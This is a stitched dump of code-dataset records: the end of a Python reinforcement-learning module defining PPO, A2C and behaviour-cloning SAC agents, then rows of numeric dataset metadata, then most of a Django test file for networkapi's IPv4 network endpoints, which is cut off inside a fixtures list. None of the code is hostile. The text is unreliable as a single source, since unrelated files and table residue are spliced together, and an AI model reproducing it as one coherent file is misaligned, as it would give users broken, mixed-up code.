choose_action = dist.sample()
self.memory.actions.append(choose_action)
self.memory.log_probs.append(dist.log_prob(choose_action))
return choose_action.detach().cpu().numpy()[0]
def learn(self, next_state):
next_state = T.as_tensor((next_state,), dtype=T.float32, device=self.args.device)
next_value = self.critic(next_state)
returns = compute_gae(next_value, self.memory.rewards, self.memory.masks, self.memory.values, self.args.gamma, self.args.tau)
states = T.cat(self.memory.states)
actions = T.cat(self.memory.actions)
returns = T.cat(returns).detach()
values = T.cat(self.memory.values).detach()
log_probs = T.cat(self.memory.log_probs).detach()
# Here we calculate advantage A(s,a) = R + yV(s') - V(s)
# Returns = R + yV(s')
advantages = returns - values
if self.args.is_discrete:
actions = actions.unsqueeze(1)
log_probs = log_probs.unsqueeze(1)
# Normalize the advantages
if self.args.standardize_advantage:
advantages = (advantages - advantages.mean()) / (advantages.std() + 1e-7)
for state, action, old_value, old_log_prob, return_, adv in ppo_iter(epoch = self.args.epoch,
mini_batch_size = self.args.batch_size,
states = states,
actions = actions,
values = values,
log_probs = log_probs,
returns = returns,
advantages = advantages,
):
mu, std = self.actor(state)
dist = Normal(mu, std)
entropy = dist.entropy().mean()
log_prob = dist.log_prob(action)
ratio = (log_prob - old_log_prob).exp()
surr1 = ratio * adv
surr2 = T.clamp(ratio, 1.0 - self.args.epsilon, 1.0 + self.args.epsilon) * adv
# actor network loss function
# update policy
actor_loss = - T.min(surr1, surr2).mean()
value = self.critic(state)
# TD error
# update value
if self.args.use_clipped_value_loss:
value_pred_clipped = old_value + T.clamp((value - old_value), - self.args.epsilon, self.args.epsilon)
value_loss_clipped = (return_ - value_pred_clipped).pow(2)
value_loss = (return_ - value).pow(2)
critic_loss = T.max(value_loss, value_loss_clipped).mean()
else:
critic_loss = self.criterion(value, return_)
# PPO total loss function
total_loss = self.args.value_weight * critic_loss + actor_loss - entropy * self.args.entropy_weight
# Policy gradient update
self.optimizer.zero_grad()
total_loss.backward()
self.optimizer.step()
# After the update, clear the memory
self.memory.RB_clear()
def save_models(self):
print('------ Save model ------')
_save_model(self.actor, self.actor_path)
_save_model(self.critic, self.critic_path)
def load_models(self):
print('------ load model ------')
_load_model(self.actor, self.actor_path)
_load_model(self.critic, self.critic_path)
class A2CAgent(object):
def __init__(self, args):
self.args = args
self.actor_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'a2c_actor.pth')
self.critic_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'a2c_critic.pth')
# Environment setting
self.env = gym.make(args.env_name)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.shape[0]
self.max_action = self.env.action_space.high[0]
self.low_action = self.env.action_space.low[0]
self.transition = list()
# actor-critic net setting
self.actor = ActorA2C(self.n_states, self.n_actions, self.args)
self.critic = CriticV(self.n_states, self.args)
# Loss Function
self.criterion = nn.SmoothL1Loss()
# optimizer setting
self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=self.args.actor_lr)
self.critic_optimizer = optim.Adam(self.critic.parameters(), lr=self.args.critic_lr)
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/a2c_actor.pth'):
self.load_models()
self.total_step = 0
def choose_action(self, state):
state = T.as_tensor(state, dtype=T.float32, device=self.args.device)
mu, std = self.actor(state)
if self.args.evaluate:
choose_action = mu
else:
dist = Normal(mu, std)
choose_action = dist.sample()
log_prob = dist.log_prob(choose_action).sum(dim=-1)
self.transition = [state, log_prob]
return choose_action.clamp(self.low_action, self.max_action).detach().cpu().numpy()
def learn(self):
critic_loss, target_value, current_value, log_prob = self._value_update(self.transition)
# update value
self.critic_optimizer.zero_grad()
critic_loss.backward()
self.critic_optimizer.step()
actor_loss = self._policy_update(target_value, current_value, log_prob, self.args.entropy_weight)
# update policy
self.actor_optimizer.zero_grad()
actor_loss.backward()
self.actor_optimizer.step()
def save_models(self):
print('------ Save model ------')
_save_model(self.actor, self.actor_path)
_save_model(self.critic, self.critic_path)
def load_models(self):
print('------ load model ------')
_load_model(self.actor, self.actor_path)
_load_model(self.critic, self.critic_path)
def _value_update(self, transition):
state, log_prob, reward, next_state, mask = transition
# Q(s,a) = r + gamma * V(s`) if state != Terminal
# = r otherwise
next_state = T.as_tensor(next_state, dtype=T.float32, device=self.args.device)
current_value = self.critic(state)
next_value = self.critic(next_state).detach()
target_value = reward + next_value * mask
critic_loss = self.criterion(current_value, target_value)
return critic_loss, target_value, current_value, log_prob
def _policy_update(self, target_value, current_value, log_prob, entropy_weight):
# advantage = Q_t - V(s_t)
advantage = (target_value - current_value).detach() # not backpropagated
actor_loss = -advantage * log_prob
actor_loss += entropy_weight * -log_prob # entropy maximization
return actor_loss
class BC_SACAgent(object):
def __init__(self, args):
self.args = args
self.actor_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'sac_actor.pth')
self.critic_path = os.path.join(args.save_dir + '/' + args.algorithm +'/' + args.env_name, 'sac_critic.pth')
# Environment setting
self.env = gym.make(args.env_name)
self.env = RescaleAction(self.env, -1, 1)
self.n_states = self.env.observation_space.shape[0]
self.n_actions = self.env.action_space.shape[0]
self.max_action = self.env.action_space.high[0]
self.low_action = self.env.action_space.low[0]
# replay buffer
self.memory = ReplayBuffer(self.n_states, self.n_actions, self.args)
self.transition = list()
# actor-critic network setting
self.actor = ActorSAC(self.n_states, self.n_actions, self.args)
self.critic_eval = CriticTwin(self.n_states, self.n_actions, self.args)
# loss function
self.criterion = nn.MSELoss()
# optimizer setting
self.actor_optimizer = optim.Adam(self.actor.parameters(), lr=self.args.actor_lr)
self.critic_optimizer = optim.Adam(self.critic_eval.parameters(), lr=self.args.critic_lr)
self.critic_target = copy.deepcopy(self.critic_eval)
self.critic_target.eval()
for p in self.critic_target.parameters():
p.requires_grad = False
# Temperature Coefficient
self.target_entropy = -self.n_actions
self.log_alpha = T.zeros(1, requires_grad=True, device=self.args.device)
self.alpha = self.log_alpha.exp()
self.alpha_optimizer = optim.Adam([self.log_alpha], lr=self.args.alpha_lr)
# Storage location creation
if not os.path.exists(self.args.save_dir):
os.mkdir(self.args.save_dir)
self.model_path = self.args.save_dir + '/' + args.algorithm
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
self.model_path = self.model_path + '/' + args.env_name
if not os.path.exists(self.model_path):
os.mkdir(self.model_path)
if os.path.exists(self.model_path + '/sac_actor.pth'):
self.load_models()
self.total_step = 0
# Behavior Cloning parameters
data_path = os.path.join('','bc_memo.npy')
self.lambda1 = self.args.lambda1
self.lambda2 = self.args.lambda2 / self.args.bc_batch_size
self.memo = np.load(data_path, allow_pickle = True)
self.bc_data = ReplayBuffer(self.n_states, self.n_actions, self.args, len(self.memo))
self.bc_data.store_for_BC_data(self.memo)
def choose_action(self, state, epsilon):
with T.no_grad():
if epsilon >= np.random.random() and not self.args.evaluate:
choose_action = np.random.uniform(self.low_action, self.max_action, self.n_actions)
else :
choose_action, _ = self.actor(T.as_tensor(state, dtype=T.float32, device=self.actor.device))
choose_action = choose_action.detach().cpu().numpy()
self.transition = [state, choose_action]
return choose_action
def learn(self):
q1_loss, q2_loss, state = self._value_update(self.memory, self.args.batch_size)
critic_loss = q1_loss + q2_loss
# update value
self.critic_optimizer.zero_grad()
critic_loss.backward()
self.critic_optimizer.step()
# target network soft update
if self.total_step % self.args.target_update_interval == 0:
self._target_soft_update(self.critic_target, self.critic_eval, self.args.tau)
for p in self.critic_eval.parameters():
p.requires_grad = False
pg_loss, new_log_prob = self._policy_update(state)
alpha_loss = self._temperature_update(new_log_prob)
self.alpha_optimizer.zero_grad()
alpha_loss.backward()
self.alpha_optimizer.step()
bc_loss = self._behavioral_cloning_update(self.bc_data, self.args.bc_batch_size)
# Behavior Cloning with Actor Loss Function
actor_loss = self.lambda1 * pg_loss + self.lambda2 * bc_loss
# update policy
self.actor_optimizer.zero_grad()
actor_loss.backward()
self.actor_optimizer.step()
for p in self.critic_eval.parameters():
p.requires_grad = True
self.alpha = self.log_alpha.exp()
def save_models(self):
print('------ Save model ------')
_save_model(self.actor, self.actor_path)
_save_model(self.critic_eval, self.critic_path)
checkpoint = os.path.join(self.args.save_dir + '/' + self.args.algorithm +'/' + self.args.env_name, 'log_alpha.pth')
T.save(self.log_alpha, checkpoint)
def load_models(self):
print('------ load model ------')
_load_model(self.actor, self.actor_path)
_load_model(self.critic_eval, self.critic_path)
checkpoint = os.path.join(self.args.save_dir + '/' + self.args.algorithm +'/' + self.args.env_name, 'log_alpha.pth')
self.log_alpha = T.load(checkpoint)
# target network soft update
def _target_soft_update(self, target_net, eval_net , tau=None):
if tau == None:
tau = self.args.tau
with T.no_grad():
for t_p, l_p in zip(target_net.parameters(), eval_net.parameters()):
t_p.data.copy_(tau * l_p.data + (1 - tau) * t_p.data)
def _value_update(self, buffer, batch_size):
with T.no_grad():
# Select data from ReplayBuffer with batch_size size
samples = buffer.sample_batch(batch_size)
state = T.as_tensor(samples['state'], dtype=T.float32, device=self.args.device)
next_state = T.as_tensor(samples['next_state'], dtype=T.float32, device=self.args.device)
action = T.as_tensor(samples['action'], dtype=T.float32, device=self.args.device).reshape(-1, 1)
reward = T.as_tensor(samples['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask = T.as_tensor(samples['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
next_action, next_log_prob = self.actor(next_state)
next_target_q1, next_target_q2 = self.critic_target.get_double_q(next_state, next_action)
next_target_q = T.min(next_target_q1, next_target_q2)
target_q = reward + (next_target_q - self.alpha * next_log_prob) * mask
# Twin Critic Network Loss functions
current_q1, current_q2 = self.critic_eval.get_double_q(state, action)
# TD error
q1_loss = self.criterion(current_q1, target_q)
q2_loss = self.criterion(current_q2, target_q)
return q1_loss, q2_loss, state
def _policy_update(self, state):
new_action, new_log_prob = self.actor(state)
q_1, q_2 = self.critic_eval.get_double_q(state, new_action)
q = T.min(q_1, q_2)
actor_loss = (self.alpha * new_log_prob - q).mean()
return actor_loss, new_log_prob
def _temperature_update(self, new_log_prob):
alpha_loss = -self.log_alpha * (new_log_prob.detach() + self.target_entropy).mean()
return alpha_loss
def _behavioral_cloning_update(self, buffer, batch_size):
with T.no_grad():
samples_bc = buffer.sample_batch(batch_size)
state_bc = T.as_tensor(samples_bc['state'], dtype=T.float32, device=self.args.device)
next_state_bc = T.as_tensor(samples_bc['next_state'], dtype=T.float32, device=self.args.device)
action_bc = T.as_tensor(samples_bc['action'], dtype=T.float32, device=self.args.device).reshape(-1, 1)
reward_bc = T.as_tensor(samples_bc['reward'], dtype=T.float32, device=self.args.device).reshape(-1,1)
mask_bc = T.as_tensor(samples_bc['mask'], dtype=T.float32, device=self.args.device).reshape(-1,1)
pred_action, _ = self.actor(state_bc)
q_t = T.min(*self.critic_eval.get_double_q(state_bc, action_bc))
q_e = T.min(*self.critic_eval.get_double_q(state_bc, pred_action))
qf_mask = T.gt(q_t, q_e).to(self.args.device)
qf_mask = qf_mask.float()
n_qf_mask = int(qf_mask.sum().item())
if n_qf_mask == 0:
bc_loss = T.zeros(1, device=self.args.device)
else:
bc_loss = (
T.mul(pred_action, qf_mask) - T.mul(action_bc, qf_mask)
).pow(2).sum() / n_qf_mask
return bc_loss
# generalized advantage estimator
def compute_gae(next_value, rewards, masks, values, gamma = 0.99, tau = 0.95,):
values = values + [next_value]
gae = 0
returns = deque()
for step in reversed(range(len(rewards))):
delta = rewards[step] + gamma * values[step + 1] * masks[step] - values[step]
gae = delta + gamma * tau * masks[step] * gae
returns.appendleft(gae + values[step])
return list(returns)
# Proximal Policy Optimization
def ppo_iter(epoch, mini_batch_size, states, actions, values, log_probs, returns, advantages,):
batch_size = states.size(0)
for _ in range(epoch):
for _ in range(batch_size // mini_batch_size):
rand_ids = np.random.choice(batch_size, mini_batch_size)
yield states[rand_ids, :], actions[rand_ids, :], values[rand_ids, :], log_probs[rand_ids, :], returns[rand_ids, :], advantages[rand_ids, :]
# model save functions
def _save_model(net, dirpath):
T.save(net.state_dict(), dirpath)
# model load functions
def _load_model(net, dirpath):
net.load_state_dict(T.load(dirpath))
| 39.949728
| 171
| 0.625565
| 7,838
| 58,806
| 4.479204
| 0.040827
| 0.055144
| 0.032585
| 0.035889
| 0.874502
| 0.858266
| 0.849835
| 0.842828
| 0.833143
| 0.826478
| 0
| 0.008451
| 0.255501
| 58,806
| 1,472
| 172
| 39.949728
| 0.793449
| 0.068275
| 0
| 0.807851
| 0
| 0
| 0.024586
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.088843
| false
| 0
| 0.014463
| 0
| 0.145661
| 0.022727
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f4db11aff84a71aaab8fa1982dab17d09436f008
| 24,917
|
py
|
Python
|
networkapi/api_network/tests/v3/sanity/networkipv4/sync/test_post.py
|
treviza153/GloboNetworkAPI
|
9ca8ba7febdef0eb716514196b1bda1afdccd851
|
[
"Apache-2.0"
] | 73
|
2015-04-13T17:56:11.000Z
|
2022-03-24T06:13:07.000Z
|
networkapi/api_network/tests/v3/sanity/networkipv4/sync/test_post.py
|
treviza153/GloboNetworkAPI
|
9ca8ba7febdef0eb716514196b1bda1afdccd851
|
[
"Apache-2.0"
] | 99
|
2015-04-03T01:04:46.000Z
|
2021-10-03T23:24:48.000Z
|
networkapi/api_network/tests/v3/sanity/networkipv4/sync/test_post.py
|
treviza153/GloboNetworkAPI
|
9ca8ba7febdef0eb716514196b1bda1afdccd851
|
[
"Apache-2.0"
] | 64
|
2015-08-05T21:26:29.000Z
|
2022-03-22T01:06:28.000Z
|
# -*- coding: utf-8 -*-
import json
from django.test.client import Client
from mock import patch
from networkapi.test.mock import MockPluginNetwork
from networkapi.test.test_case import NetworkApiTestCase
class NetworkIPv4PostSuccessTestCase(NetworkApiTestCase):
fixtures = [
'networkapi/system/fixtures/initial_variables.json',
'networkapi/usuario/fixtures/initial_usuario.json',
'networkapi/grupo/fixtures/initial_ugrupo.json',
'networkapi/usuario/fixtures/initial_usuariogrupo.json',
'networkapi/api_ogp/fixtures/initial_objecttype.json',
'networkapi/api_ogp/fixtures/initial_objectgrouppermissiongeneral.json',
'networkapi/grupo/fixtures/initial_permissions.json',
'networkapi/grupo/fixtures/initial_permissoes_administrativas.json',
'networkapi/vlan/fixtures/initial_tipo_rede.json',
'networkapi/filter/fixtures/initial_filter.json',
'networkapi/filterequiptype/fixtures/initial_filterequiptype.json',
'networkapi/equipamento/fixtures/initial_tipo_equip.json',
'networkapi/api_network/fixtures/sanity/initial_environment.json',
'networkapi/api_network/fixtures/sanity/initial_environment_dc.json',
'networkapi/api_network/fixtures/sanity/initial_environment_envlog.json',
'networkapi/api_network/fixtures/sanity/initial_environment_gl3.json',
'networkapi/api_network/fixtures/sanity/initial_ipconfig.json',
'networkapi/api_network/fixtures/sanity/initial_config_environment.json',
'networkapi/api_network/fixtures/sanity/initial_networkipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vlan.json',
'networkapi/api_network/fixtures/sanity/initial_vrf.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vip_request_v4.json',
'networkapi/api_network/fixtures/sanity/initial_environment_vip.json',
'networkapi/api_network/fixtures/sanity/initial_env_env_vip.json',
'networkapi/api_network/fixtures/sanity/initial_equipments.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_env.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_group.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4_eqpt.json',
'networkapi/api_network/fixtures/sanity/initial_roteiros.json',
'networkapi/api_network/fixtures/sanity/initial_equip_marca_model.json',
'networkapi/api_network/fixtures/sanity/initial_cidr.json',
]
json_path = 'api_network/tests/v3/sanity/networkipv4/json/%s'
def setUp(self):
self.client = Client()
self.authorization = self.get_http_authorization('test')
def tearDown(self):
pass
def test_try_create_netipv4_with_octs(self):
"""Test of success to create a Network IPv4 with octs."""
name_file = self.json_path % 'post/net_with_octs.json'
# Does POST request
response = self.client.post(
'/api/v3/networkv4/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(201, response.status_code)
get_url = '/api/v3/networkv4/%s/?kind=basic' % response.data[0]['id']
name_file_get = self.json_path % 'get/basic/net_with_octs.json'
response = self.client.get(
get_url,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
del response.data['networks'][0]['id']
self.compare_json(name_file_get, response.data['networks'])
def test_try_create_netipv4_with_octs_and_env_vip(self):
"""Test of success to create a Network IPv4 with octs and Environment Vip."""
name_file = self.json_path % 'post/net_with_octs_env_vip.json'
# Does POST request
response = self.client.post(
'/api/v3/networkv4/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(201, response.status_code)
get_url = '/api/v3/networkv4/%s/?kind=basic' % response.data[0]['id']
name_file = self.json_path % 'get/basic/net_with_octs_env_vip.json'
response = self.client.get(
get_url,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
del response.data['networks'][0]['id']
self.compare_json(name_file, response.data['networks'])
def test_try_create_netipv4_with_auto_alloc(self):
"""Test of success to create a Network IPv4 without octs."""
name_file_post = self.json_path % 'post/net_without_octs.json'
# Does POST request
response = self.client.post(
'/api/v3/networkv4/',
data=json.dumps(self.load_json_file(name_file_post)),
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(201, response.status_code)
get_url = '/api/v3/networkv4/%s/?kind=basic' % response.data[0]['id']
name_file = self.json_path % 'get/basic/net_without_octs.json'
response = self.client.get(
get_url,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
del response.data['networks'][0]['id']
self.compare_json(name_file, response.data['networks'])
def test_try_create_netipv4_with_true_active_flag_being_ignored(self):
"""Test of success to create NetworkIPv4 with true active flag.
Network must be created with active flag set as False.
"""
name_file_post = self.json_path % 'post/net_with_active_flag_true.json'
# Does POST request
response = self.client.post(
'/api/v3/networkv4/',
data=json.dumps(self.load_json_file(name_file_post)),
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(201, response.status_code)
get_url = '/api/v3/networkv4/%s/?kind=basic&include=active' \
% response.data[0]['id']
name_file = self.json_path % 'get/basic/net_with_active_flag_false.json'
response = self.client.get(
get_url,
content_type='application/json',
HTTP_AUTHORIZATION=self.get_http_authorization('test'))
self.compare_status(200, response.status_code)
del response.data['networks'][0]['id']
self.compare_json(name_file, response.data['networks'])
class NetworkIPv4DeploySuccessTestCase(NetworkApiTestCase):
fixtures = [
'networkapi/system/fixtures/initial_variables.json',
'networkapi/usuario/fixtures/initial_usuario.json',
'networkapi/grupo/fixtures/initial_ugrupo.json',
'networkapi/usuario/fixtures/initial_usuariogrupo.json',
'networkapi/api_ogp/fixtures/initial_objecttype.json',
'networkapi/api_ogp/fixtures/initial_objectgrouppermissiongeneral.json',
'networkapi/grupo/fixtures/initial_permissions.json',
'networkapi/grupo/fixtures/initial_permissoes_administrativas.json',
'networkapi/vlan/fixtures/initial_tipo_rede.json',
'networkapi/filter/fixtures/initial_filter.json',
'networkapi/filterequiptype/fixtures/initial_filterequiptype.json',
'networkapi/equipamento/fixtures/initial_tipo_equip.json',
'networkapi/api_network/fixtures/sanity/initial_environment.json',
'networkapi/api_network/fixtures/sanity/initial_environment_dc.json',
'networkapi/api_network/fixtures/sanity/initial_environment_envlog.json',
'networkapi/api_network/fixtures/sanity/initial_environment_gl3.json',
'networkapi/api_network/fixtures/sanity/initial_ipconfig.json',
'networkapi/api_network/fixtures/sanity/initial_config_environment.json',
'networkapi/api_network/fixtures/sanity/initial_networkipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vlan.json',
'networkapi/api_network/fixtures/sanity/initial_vrf.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vip_request_v4.json',
'networkapi/api_network/fixtures/sanity/initial_environment_vip.json',
'networkapi/api_network/fixtures/sanity/initial_env_env_vip.json',
'networkapi/api_network/fixtures/sanity/initial_equipments.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_env.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_group.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4_eqpt.json',
'networkapi/api_network/fixtures/sanity/initial_roteiros.json',
'networkapi/api_network/fixtures/sanity/initial_equip_marca_model.json'
]
def setUp(self):
self.client = Client()
self.authorization = self.get_http_authorization('test')
def tearDown(self):
pass
@patch('networkapi.plugins.factory.PluginFactory.factory')
def test_try_deploy_inactive_netipv4(self, test_patch):
"""Test of success to deploy a inactive NetworkIPv4."""
mock = MockPluginNetwork()
mock.status(True)
test_patch.return_value = mock
response = self.client.post(
'/api/v3/networkv4/deploy/3/',
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(200, response.status_code)
response = self.client.get(
'/api/v3/networkv4/3/?fields=active',
HTTP_AUTHORIZATION=self.authorization
)
self.compare_status(200, response.status_code)
active = response.data['networks'][0]['active']
self.compare_values(True, active)
class NetworkIPv4PostErrorTestCase(NetworkApiTestCase):
fixtures = [
'networkapi/system/fixtures/initial_variables.json',
'networkapi/usuario/fixtures/initial_usuario.json',
'networkapi/grupo/fixtures/initial_ugrupo.json',
'networkapi/usuario/fixtures/initial_usuariogrupo.json',
'networkapi/api_ogp/fixtures/initial_objecttype.json',
'networkapi/api_ogp/fixtures/initial_objectgrouppermissiongeneral.json',
'networkapi/grupo/fixtures/initial_permissions.json',
'networkapi/grupo/fixtures/initial_permissoes_administrativas.json',
'networkapi/vlan/fixtures/initial_tipo_rede.json',
'networkapi/filter/fixtures/initial_filter.json',
'networkapi/filterequiptype/fixtures/initial_filterequiptype.json',
'networkapi/equipamento/fixtures/initial_tipo_equip.json',
'networkapi/api_network/fixtures/sanity/initial_config_environment.json',
'networkapi/api_network/fixtures/sanity/initial_environment.json',
'networkapi/api_network/fixtures/sanity/initial_environment_dc.json',
'networkapi/api_network/fixtures/sanity/initial_environment_envlog.json',
'networkapi/api_network/fixtures/sanity/initial_environment_gl3.json',
'networkapi/api_network/fixtures/sanity/initial_ipconfig.json',
'networkapi/api_network/fixtures/sanity/initial_networkipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vlan.json',
'networkapi/api_network/fixtures/sanity/initial_vrf.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vip_request_v4.json',
'networkapi/api_network/fixtures/sanity/initial_environment_vip.json',
'networkapi/api_network/fixtures/sanity/initial_env_env_vip.json',
'networkapi/api_network/fixtures/sanity/initial_equipments.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_env.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_group.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4_eqpt.json',
'networkapi/api_network/fixtures/sanity/initial_roteiros.json',
'networkapi/api_network/fixtures/sanity/initial_equip_marca_model.json',
'networkapi/api_network/fixtures/sanity/initial_cidr.json'
]
json_path = 'api_network/tests/v3/sanity/networkipv4/json/%s'
def setUp(self):
self.client = Client()
self.authorization = self.get_http_authorization('test')
def tearDown(self):
pass
# def test_try_create_netipv4_with_auto_alloc_in_full_env(self):
# """Test of error to create a Network IPv4 without octs in vlan of
# Environment with not available Network IPv4.
# """
#
# name_file = self.json_path % 'post/net_without_octs_full_env.json'
#
# # Does POST request
# response = self.client.post(
# '/api/v3/networkv4/',
# data=json.dumps(self.load_json_file(name_file)),
# content_type='application/json',
# HTTP_AUTHORIZATION=self.authorization)
#
# self.compare_status(400, response.status_code)
#
# self.compare_values(
# 'Unavailable address to create a NetworkIPv4.',
# response.data['detail'])
# def test_try_create_netipv4_with_octs_in_full_env(self):
# """Test of error to create a Network IPv4 with octs in vlan of
# Environment with not available Network IPv4.
# """
#
# name_file = self.json_path % 'post/net_with_octs_full_env.json'
#
# # Does POST request
# response = self.client.post(
# '/api/v3/networkv4/',
# data=json.dumps(self.load_json_file(name_file)),
# content_type='application/json',
# HTTP_AUTHORIZATION=self.authorization)
#
# self.compare_status(400, response.status_code)
#
# msg = 'One of the equipment associated with the environment of this ' \
# 'Vlan is also associated with other environment that has a ' \
# 'network with the same track, add filters in environments if ' \
# 'necessary. Your Network: 10.10.6.0/24, Network already created:' \
# ' 10.10.6.0/24'
#
# self.compare_values(msg, response.data['detail'])
def test_try_create_netipv4_out_of_range_with_octs(self):
"""Test of error to create a Network IPv4 with octs out of range
configuration defined in related vlan of Environment.
"""
name_file = self.json_path % 'post/net_with_octs_out_of_range.json'
# Does POST request
response = self.client.post(
'/api/v3/networkv4/',
data=json.dumps(self.load_json_file(name_file)),
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(400, response.status_code)
msg = 'Network 172.10.6.0/24 cannot not inserted in environment ' \
'BE-TESTE-2 - TESTE - BALANCEAMENTO-POOL because it is not ' \
'within environment network range.'
self.compare_values(msg, response.data['detail'])
class NetworkIPv4DeployErrorTestCase(NetworkApiTestCase):
fixtures = [
'networkapi/system/fixtures/initial_variables.json',
'networkapi/usuario/fixtures/initial_usuario.json',
'networkapi/grupo/fixtures/initial_ugrupo.json',
'networkapi/usuario/fixtures/initial_usuariogrupo.json',
'networkapi/api_ogp/fixtures/initial_objecttype.json',
'networkapi/api_ogp/fixtures/initial_objectgrouppermissiongeneral.json',
'networkapi/grupo/fixtures/initial_permissions.json',
'networkapi/grupo/fixtures/initial_permissoes_administrativas.json',
'networkapi/vlan/fixtures/initial_tipo_rede.json',
'networkapi/filter/fixtures/initial_filter.json',
'networkapi/filterequiptype/fixtures/initial_filterequiptype.json',
'networkapi/equipamento/fixtures/initial_tipo_equip.json',
'networkapi/api_network/fixtures/sanity/initial_config_environment.json',
'networkapi/api_network/fixtures/sanity/initial_environment.json',
'networkapi/api_network/fixtures/sanity/initial_environment_dc.json',
'networkapi/api_network/fixtures/sanity/initial_environment_envlog.json',
'networkapi/api_network/fixtures/sanity/initial_environment_gl3.json',
'networkapi/api_network/fixtures/sanity/initial_ipconfig.json',
'networkapi/api_network/fixtures/sanity/initial_networkipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vlan.json',
'networkapi/api_network/fixtures/sanity/initial_vrf.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vip_request_v4.json',
'networkapi/api_network/fixtures/sanity/initial_environment_vip.json',
'networkapi/api_network/fixtures/sanity/initial_env_env_vip.json',
'networkapi/api_network/fixtures/sanity/initial_equipments.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_env.json',
'networkapi/api_network/fixtures/sanity/initial_equipments_group.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4_eqpt.json',
'networkapi/api_network/fixtures/sanity/initial_roteiros.json',
'networkapi/api_network/fixtures/sanity/initial_equip_marca_model.json'
]
def setUp(self):
self.client = Client()
self.authorization = self.get_http_authorization('test')
def tearDown(self):
pass
@patch('networkapi.plugins.factory.PluginFactory.factory')
def test_try_deploy_active_netipv4(self, test_patch):
"""Test of error to deploy a active NetworkIPv4."""
mock = MockPluginNetwork()
mock.status(False)
test_patch.return_value = mock
url_post = '/api/v3/networkv4/deploy/1/'
response = self.client.post(
url_post,
content_type='application/json',
HTTP_AUTHORIZATION=self.authorization)
self.compare_status(400, response.status_code)
self.compare_values(
'Already Active Network. Nothing to do.', response.data['detail'])
url_get = '/api/v3/networkv4/1/?fields=active'
response = self.client.get(
url_get,
HTTP_AUTHORIZATION=self.authorization
)
self.compare_status(200, response.status_code)
active = response.data['networks'][0]['active']
self.compare_values(True, active)
class NetworkIPv4ForcePostSuccessTestCase(NetworkApiTestCase):
fixtures = [
'networkapi/system/fixtures/initial_variables.json',
'networkapi/usuario/fixtures/initial_usuario.json',
'networkapi/grupo/fixtures/initial_ugrupo.json',
'networkapi/usuario/fixtures/initial_usuariogrupo.json',
'networkapi/api_ogp/fixtures/initial_objecttype.json',
'networkapi/api_ogp/fixtures/initial_objectgrouppermissiongeneral.json',
'networkapi/grupo/fixtures/initial_permissions.json',
'networkapi/grupo/fixtures/initial_permissoes_administrativas.json',
'networkapi/vlan/fixtures/initial_tipo_rede.json',
'networkapi/filter/fixtures/initial_filter.json',
'networkapi/filterequiptype/fixtures/initial_filterequiptype.json',
'networkapi/equipamento/fixtures/initial_tipo_equip.json',
'networkapi/api_network/fixtures/sanity/initial_environment.json',
'networkapi/api_network/fixtures/sanity/initial_environment_dc.json',
'networkapi/api_network/fixtures/sanity/initial_environment_envlog.json',
'networkapi/api_network/fixtures/sanity/initial_environment_gl3.json',
'networkapi/api_network/fixtures/sanity/initial_ipconfig.json',
'networkapi/api_network/fixtures/sanity/initial_config_environment.json',
'networkapi/api_network/fixtures/sanity/initial_networkipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vlan.json',
'networkapi/api_network/fixtures/sanity/initial_vrf.json',
'networkapi/api_network/fixtures/sanity/initial_ipv4.json',
'networkapi/api_network/fixtures/sanity/initial_vip_request_v4.json',
